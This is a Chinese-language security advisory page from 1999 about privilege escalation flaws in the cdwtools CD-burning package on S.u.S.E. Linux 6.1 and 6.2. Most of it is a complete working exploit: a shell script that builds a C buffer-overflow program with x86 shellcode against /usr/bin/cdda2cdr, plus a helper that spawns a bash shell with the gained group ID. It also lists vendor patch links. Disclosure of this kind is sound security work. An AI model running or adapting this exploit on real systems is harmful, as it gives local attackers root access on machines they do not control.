安全研究
安全漏洞
Linux cwdtools漏洞
发布日期:1999-10-20
更新日期:1999-10-20
受影响系统:
S.u.S.E. Linux 6.2描述:
S.u.S.E. Linux 6.1
cdwtools是一个cd刻录工具包。这些工具的Linux版跟随S.u.S.E linux 6.1和6.2发行,
它可能导致本地用户获得root权限。目前已经知道有多种方法来攻击这些漏洞,包括堆栈
溢出和/tmp链接攻击。
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#! /bin/sh
#
# Shell script for Linux x86 cdda2cdr exploit
# Brock Tellier btellier@usa.net
#
cat > /tmp/cdda2x.c <<EOF
/**
** Linux x86 exploit for /usr/bin/cdda2cdr (sgid disk on some Linux distros)
** gcc -o cdda2x cdda2x.c; cdda2x <offset> <bufsiz>
**
** Brock Tellier btellier@usa.net
**/
#include <stdlib.h>
#include <stdio.h>
char exec[]= /* Generic Linux x86 running our /tmp program */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/cd";
#define LEN 500
#define NOP 0x90
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
void main(int argc, char *argv[]) {
int offset=0;
int i;
int buflen = LEN;
long int addr;
char buf[LEN];
if(argc > 3) {
fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
exit(0);
}
else if (argc == 2){
offset=atoi(argv[1]);
}
else if (argc == 3) {
offset=atoi(argv[1]);
buflen=atoi(argv[2]);
}
else {
offset=500;
buflen=500;
}
addr=get_sp();
fprintf(stderr, "Linux x86 cdda2cdr local disk exploit\n");
fprintf(stderr, "Brock Tellier btellier@usa.net\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);
memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),exec,strlen(exec));
for(i=((buflen/2) + strlen(exec))+1;i<buflen-4;i+=4)
*(int *)&buf[i]=addr+offset;
execl("/usr/bin/cdda2cdr", "cdda2cdr", "-D", buf, NULL);
/*
for (i=0; i < strlen(buf); i++) putchar(buf[i]);
*/
}
EOF
cat > /tmp/cd.c <<EOF
void main() {
setregid(getegid(), getegid());
system("/bin/bash");
}
EOF
gcc -o /tmp/cd /tmp/cd.c
gcc -o /tmp/cdda2x /tmp/cdda2x.c
echo "Note that gid=6 leads to easy root access.."
/tmp/cdda2x
建议:
S.u.S.E提供了以下修复的软件包:
ftp://ftp.suse.com/pub/suse/i386/update/6.1/ap1/cdwtools-0.93-101.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.2/ap1/cdwtools-0.93-100.i386.rpm
ftp://ftp.suse.com/pub/suse/axp/update/6.1/ap1/cdwtools-0.93-101.alpha.rpm
浏览次数:7295
严重程度:0(网友投票)
绿盟科技给您安全的保障